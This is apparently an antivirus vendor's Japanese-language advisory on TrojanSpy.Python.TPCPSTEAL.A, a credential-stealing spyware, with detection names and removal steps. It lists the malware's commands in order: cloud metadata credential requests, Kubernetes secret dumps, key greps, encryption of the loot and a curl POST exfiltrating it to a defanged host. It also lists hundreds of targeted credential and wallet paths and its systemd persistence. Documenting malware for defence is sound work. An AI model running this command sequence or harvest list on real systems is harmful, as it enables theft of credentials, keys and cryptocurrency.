TrojanSpy.Python.TPCPSTEAL.A
Trojan-PSW.Python.Agent.bf (Kaspersky); Python/Spy.Agent.DIU (ESET-NOD32); Trojan:Python/Malgent!MSR (Microsoft); Trojan.Python.Agent.ZU (BitDefender)
Multi-platform
- マルウェアタイプ: スパイウェア/情報窃取型
- 破壊活動の有無: なし
- 暗号化:
- 感染報告の有無: はい
概要
スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
ただし、情報公開日現在、このWebサイトにはアクセスできません。
詳細
侵入方法
スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
スパイウェアは、以下のプロセスを追加します。
- hostname
- pwd
- whoami
- uname -a
- ip addr
- ifconfig
- ip route
- printenv
- env | grep AWS_
- curl -s hxxp[://]169[.]254[.]{BLOCKED}0[.]2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}
- curl -s hxxp[://]169[.]{BLOCKED}[.]254/latest/meta-data/iam/security-credentials/
- find /var/secrets /run/secrets -type f
- env | grep -i kube
- env | grep -i k8s
- kubectl get secrets --all-namespaces -o json
- env | grep -i google
- env | grep -i gcloud
- cat $GOOGLE_APPLICATION_CREDENTIALS
- env | grep -i azure
- env | grep -iE (DATABASE|DB_|MYSQL|POSTGRES|MONGO|REDIS|VAULT)
- wg showconf all
- env | grep -i solana
- grep -r rpcuser|rpcpassword|rpcauth /root /home
- cat /var/log/auth.log | grep Accepted | tail -200
- cat /var/log/secure | grep Accepted | tail -200
- grep -r hooks.slack.com|discord.com/api/webhooks .
- grep -rE api[_-]?key|apikey|api[_-]?secret|access[_-]?token .
- openssl rand -out session.key 32
- openssl enc -aes-256-cbc -in collected -out payload.enc -pass file:session.key -pbkdf2
- openssl pkeyutl -encrypt -pubin -inkey pubkey -in session.key -out session.key.enc -pkeyopt rsa_padding_mode:oaep
- tar -czf tpcp.tar.gz -C tmpdir payload.enc session.key.enc
- curl -s -X POST hxxps[://]models[.]{BLOCKED}lm[.]cloud/ -H Content-Type: application/octet-stream -H X-Filename: tpcp.tar.gz --data-binary @tpcp.tar.gz
- systemctl --user daemon-reload
- systemctl --user enable --now sysmon.service
スパイウェアは、以下のフォルダを作成します。
- ~/.config/sysmon/
- ~/.config/systemd/user/
作成活動
スパイウェアは、以下のファイルを作成します。
- ~/.config/sysmon/sysmon.py
- ~/.config/systemd/user/sysmon.service
- /tmp/pglog
- /tmp/.pg_state
ダウンロード活動
スパイウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。
- hxxps[://]{BLOCKED}rx[.]zone/raw
情報漏えい
スパイウェアは、以下の情報を収集します。
- システム情報:
- ホスト名 (hostname 経由)
- 現在の作業ディレクトリ (pwd 経由)
- 現在のユーザー ID (whoami 経由)
- カーネルバージョンおよびアーキテクチャ (uname -a 経由)
- ネットワークインターフェイス設定 (ip addr / ifconfig 経由)
- ルーティングテーブル (ip route 経由)
- すべての環境変数 (printenv 経由)
- SSH ログイン履歴 (/var/log/auth.log および /var/log/secure 経由)
- SSH キーおよび設定:
- ~/.ssh/id_rsa
- ~/.ssh/id_ed25519
- ~/.ssh/id_ecdsa
- ~/.ssh/id_dsa
- ~/.ssh/authorized_keys
- ~/.ssh/known_hosts
- ~/.ssh/config
- ~/.ssh/ ディレクトリ内のすべてのファイル
- /etc/ssh/ssh_host_*_key
- Git 資格情報:
- ~/.git-credentials
- ~/.gitconfig
- AWS 資格情報:
- ~/.aws/credentials
- ~/.aws/config
- AWS 環境変数
- hxxp[://]169[.]{BLOCKED}[.]254/latest/meta-data/iam/security-credentials/ 経由の AWS EC2 IMDS v2 IAM ロール資格情報
- hxxp[://]169[.]254[.]{BLOCKED}0[.]2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} 経由の AWS ECS コンテナ資格情報
- ListSecrets および GetSecretValue API 呼び出し (SigV4 署名) 経由の AWS Secrets Manager シークレット
- DescribeParameters API 呼び出し (SigV4 署名) 経由の AWS SSM Parameter Store パラメータ
- Kubernetes 資格情報:
- ~/.kube/config
- /etc/kubernetes/admin.conf
- /etc/kubernetes/kubelet.conf
- /etc/kubernetes/controller-manager.conf
- /etc/kubernetes/scheduler.conf
- /var/run/secrets/kubernetes.io/serviceaccount/token
- /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
- /var/run/secrets/kubernetes.io/serviceaccount/namespace
- /run/secrets/kubernetes.io/serviceaccount/token
- /run/secrets/kubernetes.io/serviceaccount/ca.crt
- /var/secrets および /run/secrets 下のすべてのマウントされたシークレット
- Kubernetes 環境変数
- kubectl get secrets --all-namespaces -o json 経由のすべてのクラスタシークレット
- Kubernetes API: GET /api/v1/secrets (クラスタ全体)
- Kubernetes API: GET /api/v1/namespaces (名前空間の列挙)
- Kubernetes API: GET /api/v1/namespaces/{ns}/secrets (名前空間ごと)
- GCP 資格情報:
- ~/.config/gcloud/* (再帰的)
- /root/.config/gcloud/application_default_credentials.json
- Google/GCloud 環境変数
- $GOOGLE_APPLICATION_CREDENTIALS ファイル
- Azure 資格情報:
- ~/.azure/* (再帰的)
- Azure 環境変数
- Docker 資格情報:
- ~/.docker/config.json
- /kaniko/.docker/config.json
- /root/.docker/config.json
- データベース資格情報:
- ~/.my.cnf
- ~/.pgpass
- ~/.mongorc.js
- /var/lib/postgresql/.pgpass
- /etc/mysql/my.cnf
- /etc/redis/redis.conf
- /etc/postfix/sasl_passwd
- /etc/msmtprc
- データベース環境変数 (DATABASE, DB_, MYSQL, POSTGRES, MONGO, REDIS, VAULT)
- LDAP 資格情報:
- /etc/ldap/ldap.conf
- /etc/openldap/ldap.conf
- /etc/ldap.conf
- /etc/ldap/slapd.conf
- /etc/openldap/slapd.conf
- 環境ファイル:
- .env
- .env.local
- .env.production
- .env.development
- .env.staging
- .env.test
- /app/.env
- /etc/environment
- .env* ファイルの再帰検索 (深さ6)
- パッケージマネージャおよびシークレットトークン:
- ~/.npmrc
- ~/.vault-token
- ~/.netrc
- ~/.lftp/rc
- ~/.msmtprc
- シェル履歴:
- ~/.bash_history
- ~/.zsh_history
- ~/.sh_history
- ~/.mysql_history
- ~/.psql_history
- ~/.rediscli_history
- VPN 資格情報:
- /etc/wireguard/*.conf
- wg showconf all 経由の実行中の WireGuard 設定
- CI/CD および Infrastructure-as-Code:
- ~/.helm/* (再帰的)
- terraform.tfvars (再帰検索)
- terraform.tfstate (再帰検索)
- .gitlab-ci.yml
- .travis.yml
- Jenkinsfile
- .drone.yml
- Anchor.toml
- ansible.cfg
- SSL/TLS 証明書および秘密鍵:
- /etc/ssl/private/*.key
- /etc/letsencrypt/**/*.pem
- .pem, .key, .p12, .pfx ファイルの再帰検索 (深さ5)
- コミュニケーション Webhook および API キー:
- Slack webhook URL (grep -r hooks.slack.com 経由)
- Discord webhook URL (grep -r discord.com/api/webhooks 経由)
- API キーおよびトークン (grep -rE api[_-]?key|apikey|api[_-]?secret|access[_-]?token 経由)
- 暗号資産ウォレット:
- Bitcoin:
- ~/.bitcoin/bitcoin.conf
- ~/.bitcoin/wallet*.dat
- Litecoin:
- ~/.litecoin/litecoin.conf
- Dogecoin:
- ~/.dogecoin/dogecoin.conf
- Zcash:
- ~/.zcash/zcash.conf
- Dash:
- ~/.dashcore/dash.conf
- Ripple (XRP):
- ~/.ripple/rippled.cfg
- Monero:
- ~/.bitmonero/bitmonero.conf
- Ethereum:
- ~/.ethereum/keystore/*
- Cardano:
- ~/.cardano/*.skey
- ~/.cardano/*.vkey
- Solana:
- ~/.config/solana/*
- ~/validator-keypair.json
- ~/vote-account-keypair.json
- ~/authorized-withdrawer-keypair.json
- ~/stake-account-keypair.json
- ~/identity.json
- ~/faucet-keypair.json
- ~/ledger/*.json
- ~/ledger/*.bin
- /home/sol/validator-keypair.json
- /home/solana/validator-keypair.json
- /opt/solana/validator-keypair.json
- /solana/validator-keypair.json
- .anchor/**/*.json
- ./target/deploy/**/*.json
- ./keys/**/*.json
- Solana 環境変数
- 暗号資産 RPC 資格情報 (grep -r rpcuser|rpcpassword|rpcauth /root /home 経由)
- Bitcoin:
- システム資格情報:
- /etc/passwd
- /etc/shadow
- システム情報:
情報収集
スパイウェアは、HTTPポスト を介して、収集した情報を以下のURLに送信します。
- hxxps[://]models[.]{BLOCKED}lm[.]cloud/
その他
スパイウェアは、以下を実行します。
- 資格情報ファイルを次のルートディレクトリ全体で検索します: /home/*/, /root, /opt, /srv, /var/www, /app, /data, /var/lib, /tmp
- 永続化バックドアの初回起動時に、C2 ポーリングを開始する前に 300 秒(5 分)スリープします
ただし、情報公開日現在、このWebサイトにはアクセスできません。
対応方法
手順 1
Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。
手順 3
「TrojanSpy.Python.TPCPSTEAL.A」で検出したファイル名を確認し、そのファイルを終了します。
- すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
- 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
セーフモードについては、こちらをご参照下さい。 - 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。
手順 4
以下のファイルを検索し削除します。
- ~/.config/sysmon/sysmon.py
- ~/.config/systemd/user/sysmon.service
- /tmp/pglog
- /tmp/.pg_state
手順 5
以下のフォルダを検索し削除します。
- ~/.config/sysmon/
- ~/.config/systemd/user/
手順 6
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用いて、ウイルス検索を実行してください。「TrojanSpy.Python.TPCPSTEAL.A」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
ご利用はいかがでしたか? アンケートにご協力ください

